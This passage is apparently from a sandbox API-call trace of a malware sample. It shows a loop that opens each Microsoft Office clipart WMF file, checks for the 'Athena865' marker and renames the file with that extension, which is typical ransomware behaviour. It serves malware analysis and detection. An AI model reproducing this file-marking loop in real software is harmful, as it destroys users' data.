lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.587] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6220) returned 1 [0134.591] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00768_.WMF" | out: lpString1="SO00768_.WMF") returned="SO00768_.WMF" [0134.591] lstrlenW (lpString="SO00768_.WMF") returned 12 [0134.591] lstrlenW (lpString="Athena865") returned 9 [0134.591] lstrcmpiW (lpString1="0768_.WMF", lpString2="Athena865") returned -1 [0134.591] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.Athena865") returned 73 [0134.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.593] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21562) returned 1 [0134.599] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00783_.WMF" | out: lpString1="SO00783_.WMF") returned="SO00783_.WMF" [0134.599] lstrlenW (lpString="SO00783_.WMF") returned 12 [0134.599] lstrlenW (lpString="Athena865") returned 9 [0134.599] lstrcmpiW (lpString1="0783_.WMF", lpString2="Athena865") returned -1 [0134.599] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.Athena865") returned 73 [0134.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.601] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5870) returned 1 [0134.607] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00820_.WMF" | out: lpString1="SO00820_.WMF") returned="SO00820_.WMF" [0134.607] lstrlenW (lpString="SO00820_.WMF") returned 12 [0134.607] lstrlenW (lpString="Athena865") returned 9 [0134.607] lstrcmpiW (lpString1="0820_.WMF", lpString2="Athena865") returned -1 [0134.607] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.Athena865") returned 73 [0134.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16834) returned 1 [0134.613] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00828_.WMF" | out: lpString1="SO00828_.WMF") returned="SO00828_.WMF" [0134.613] lstrlenW (lpString="SO00828_.WMF") returned 12 [0134.613] lstrlenW (lpString="Athena865") returned 9 [0134.613] lstrcmpiW (lpString1="0828_.WMF", lpString2="Athena865") returned -1 [0134.613] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.Athena865") returned 73 [0134.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.615] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10414) returned 1 [0134.618] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00834_.WMF" | out: lpString1="SO00834_.WMF") returned="SO00834_.WMF" [0134.618] lstrlenW (lpString="SO00834_.WMF") returned 12 [0134.618] lstrlenW (lpString="Athena865") returned 9 [0134.618] lstrcmpiW (lpString1="0834_.WMF", lpString2="Athena865") returned -1 [0134.618] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.Athena865") returned 73 [0134.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.619] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14042) returned 1 [0134.624] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00837_.WMF" | out: lpString1="SO00837_.WMF") returned="SO00837_.WMF" [0134.624] lstrlenW (lpString="SO00837_.WMF") returned 12 [0134.624] lstrlenW (lpString="Athena865") returned 9 [0134.624] lstrcmpiW (lpString1="0837_.WMF", lpString2="Athena865") returned -1 [0134.624] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.Athena865") returned 73 [0134.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.626] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16360) returned 1 [0134.630] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00910_.WMF" | out: lpString1="SO00910_.WMF") returned="SO00910_.WMF" [0134.630] lstrlenW (lpString="SO00910_.WMF") returned 12 [0134.630] lstrlenW (lpString="Athena865") returned 9 [0134.630] lstrcmpiW (lpString1="0910_.WMF", lpString2="Athena865") returned -1 [0134.630] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.Athena865") returned 73 [0134.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.632] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6296) returned 1 [0134.637] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00911_.WMF" | out: lpString1="SO00911_.WMF") returned="SO00911_.WMF" [0134.637] lstrlenW (lpString="SO00911_.WMF") returned 12 [0134.637] lstrlenW (lpString="Athena865") returned 9 [0134.637] lstrcmpiW (lpString1="0911_.WMF", lpString2="Athena865") returned -1 [0134.637] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.Athena865") returned 73 [0134.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.639] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10744) returned 1 [0134.642] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00913_.WMF" | out: lpString1="SO00913_.WMF") returned="SO00913_.WMF" [0134.643] lstrlenW (lpString="SO00913_.WMF") returned 12 [0134.643] lstrlenW (lpString="Athena865") returned 9 [0134.643] lstrcmpiW (lpString1="0913_.WMF", lpString2="Athena865") returned -1 [0134.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.Athena865") returned 73 [0134.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.645] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10420) returned 1 [0134.655] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00914_.WMF" | out: lpString1="SO00914_.WMF") returned="SO00914_.WMF" [0134.655] lstrlenW (lpString="SO00914_.WMF") returned 12 [0134.655] lstrlenW (lpString="Athena865") returned 9 [0134.655] lstrcmpiW (lpString1="0914_.WMF", lpString2="Athena865") returned -1 [0134.655] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.Athena865") returned 73 [0134.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.656] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6924) returned 1 [0134.661] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00915_.WMF" | out: lpString1="SO00915_.WMF") returned="SO00915_.WMF" [0134.661] lstrlenW (lpString="SO00915_.WMF") returned 12 [0134.661] lstrlenW (lpString="Athena865") returned 9 [0134.661] lstrcmpiW (lpString1="0915_.WMF", lpString2="Athena865") returned -1 [0134.661] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.Athena865") returned 73 [0134.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.662] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7160) returned 1 [0134.666] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00916_.WMF" | out: lpString1="SO00916_.WMF") returned="SO00916_.WMF" [0134.666] lstrlenW (lpString="SO00916_.WMF") returned 12 [0134.666] lstrlenW (lpString="Athena865") returned 9 [0134.666] lstrcmpiW (lpString1="0916_.WMF", lpString2="Athena865") returned -1 [0134.666] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.Athena865") returned 73 [0134.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.667] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4720) returned 1 [0134.670] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00917_.WMF" | out: lpString1="SO00917_.WMF") returned="SO00917_.WMF" [0134.670] lstrlenW (lpString="SO00917_.WMF") returned 12 [0134.670] lstrlenW (lpString="Athena865") returned 9 [0134.670] lstrcmpiW (lpString1="0917_.WMF", lpString2="Athena865") returned -1 [0134.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.Athena865") returned 73 [0134.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.672] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9644) returned 1 [0134.674] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00918_.WMF" | out: lpString1="SO00918_.WMF") returned="SO00918_.WMF" [0134.675] lstrlenW (lpString="SO00918_.WMF") returned 12 [0134.675] lstrlenW (lpString="Athena865") returned 9 [0134.675] lstrcmpiW (lpString1="0918_.WMF", lpString2="Athena865") returned -1 [0134.675] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.Athena865") returned 73 [0134.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.677] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8028) returned 1 [0134.680] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00935_.WMF" | out: lpString1="SO00935_.WMF") returned="SO00935_.WMF" [0134.680] lstrlenW (lpString="SO00935_.WMF") returned 12 [0134.680] lstrlenW (lpString="Athena865") returned 9 [0134.680] lstrcmpiW (lpString1="0935_.WMF", lpString2="Athena865") returned -1 [0134.680] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.Athena865") returned 73 [0134.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.684] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10564) returned 1 [0134.691] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00938_.WMF" | out: lpString1="SO00938_.WMF") returned="SO00938_.WMF" [0134.691] lstrlenW (lpString="SO00938_.WMF") returned 12 [0134.691] lstrlenW (lpString="Athena865") returned 9 [0134.691] lstrcmpiW (lpString1="0938_.WMF", lpString2="Athena865") returned -1 [0134.691] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.Athena865") returned 73 [0134.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.693] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6496) returned 1 [0134.697] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00941_.WMF" | out: lpString1="SO00941_.WMF") returned="SO00941_.WMF" [0134.698] lstrlenW (lpString="SO00941_.WMF") returned 12 [0134.698] lstrlenW (lpString="Athena865") returned 9 [0134.698] lstrcmpiW (lpString1="0941_.WMF", lpString2="Athena865") returned -1 [0134.698] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.Athena865") returned 73 [0134.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.700] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5896) returned 1 [0134.703] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00942_.WMF" | out: lpString1="SO00942_.WMF") returned="SO00942_.WMF" [0134.703] lstrlenW (lpString="SO00942_.WMF") returned 12 [0134.703] lstrlenW (lpString="Athena865") returned 9 [0134.703] lstrcmpiW (lpString1="0942_.WMF", lpString2="Athena865") returned -1 [0134.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.Athena865") returned 73 [0134.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4708) returned 1 [0134.709] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00943_.WMF" | out: lpString1="SO00943_.WMF") returned="SO00943_.WMF" [0134.709] lstrlenW (lpString="SO00943_.WMF") returned 12 [0134.709] lstrlenW (lpString="Athena865") returned 9 [0134.709] lstrcmpiW (lpString1="0943_.WMF", lpString2="Athena865") returned -1 [0134.709] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.Athena865") returned 73 [0134.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.710] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7556) returned 1 [0134.713] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01044_.WMF" | out: lpString1="SO01044_.WMF") 